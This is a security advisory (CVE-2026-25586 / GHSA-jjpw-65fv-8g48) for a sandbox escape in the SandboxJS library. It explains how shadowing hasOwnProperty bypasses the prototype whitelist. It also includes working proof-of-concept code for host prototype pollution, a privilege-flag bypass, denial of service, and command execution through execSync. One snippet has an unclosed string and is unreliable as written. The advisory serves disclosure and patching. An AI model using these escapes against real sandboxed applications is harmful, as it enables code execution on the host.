SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.
PUBLISHED5.2CWE-74
SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
Problem type
Affected products
nyariv
SandboxJS
< 0.8.29 - AFFECTED
References
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
GitHub Security Advisories
GHSA-jjpw-65fv-8g48
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
https://github.com/advisories/GHSA-jjpw-65fv-8g48Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
- src/executor.ts:348
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
- src/executor.ts:367-399 prototype whitelist enforcement only happens when
prototypeAccessis true.
- src/executor.ts:220-233 mutation guard uses
obj.context.hasOwnProperty(...), also bypassable via shadowing.
Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
Baseline: __proto__ blocked without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
Prototype whitelist bypass -> host Object.prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
Logic bypass via prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
DoS by overriding Object.prototype.toString
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
RCE via host gadget (prototype pollution -> execSync)
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.cmd = 'id;
return 'ok';
`)().run();
const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Additional Finding : Prototype mutation via intermediate reference
This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.
Mutate Array.prototype.filter without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();
console.log('host filter', [1,2].filter);
Output:
host filter 1
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-25586Click to expand
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